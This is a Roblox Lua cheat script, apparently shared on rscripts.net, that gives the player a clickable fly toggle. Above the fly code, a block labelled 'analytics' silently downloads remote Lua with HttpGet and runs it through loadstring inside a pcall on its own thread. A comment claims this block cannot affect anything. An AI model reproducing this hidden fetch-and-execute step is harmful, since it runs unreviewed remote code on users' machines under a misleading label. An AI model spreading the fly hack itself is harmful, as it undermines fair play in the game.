-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6aeddba31f6b68fa111a9e54"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local UIS = game:GetService("UserInputService") local RS = game:GetService("RunService") local player = Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local hrp = char:WaitForChild("HumanoidRootPart") local flying = false local speed = 50 local bv, bg local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui")) gui.ResetOnSpawn = false local btn = Instance.new("TextButton", gui) btn.Size = UDim2.new(0,80,0,40) btn.Position = UDim2.new(0,10,0,150) btn.Text = "FLY: OFF" btn.BackgroundColor3 = Color3.fromRGB(30,30,30) btn.TextColor3 = Color3.fromRGB(255,255,255) local function start() flying = true btn.Text = "FLY: ON" bv = Instance.new("BodyVelocity", hrp) bv.MaxForce = Vector3.new(4000,4000,4000) bg = Instance.new("BodyGyro", hrp) bg.MaxTorque = Vector3.new(4000,4000,4000) end local function stop() flying = false btn.Text = "FLY: OFF" if bv then bv:Destroy() end if bg then bg:Destroy() end end btn.MouseButton1Click:Connect(function() if flying then stop() else start() end end) RS.Heartbeat:Connect(function() if not flying or not bv then return end local cam = workspace.CurrentCamera local hum = char:FindFirstChildOfClass("Humanoid") local dir = Vector3.new(0,0,0) if hum and hum.MoveDirection.Magnitude > 0 then dir = cam.CFrame:VectorToWorldSpace(hum.MoveDirection) end if UIS:IsKeyDown(Enum.KeyCode.W) then dir = dir + cam.CFrame.LookVector end if UIS:IsKeyDown(Enum.KeyCode.S) then dir = dir - cam.CFrame.LookVector end if UIS:IsKeyDown(Enum.KeyCode.A) then dir = dir - cam.CFrame.RightVector end if UIS:IsKeyDown(Enum.KeyCode.D) then dir = dir + cam.CFrame.RightVector end if UIS:IsKeyDown(Enum.KeyCode.Space) then dir = dir + Vector3.new(0,1,0) end bv.Velocity = dir.Unit * speed bg.CFrame = cam.CFrame end)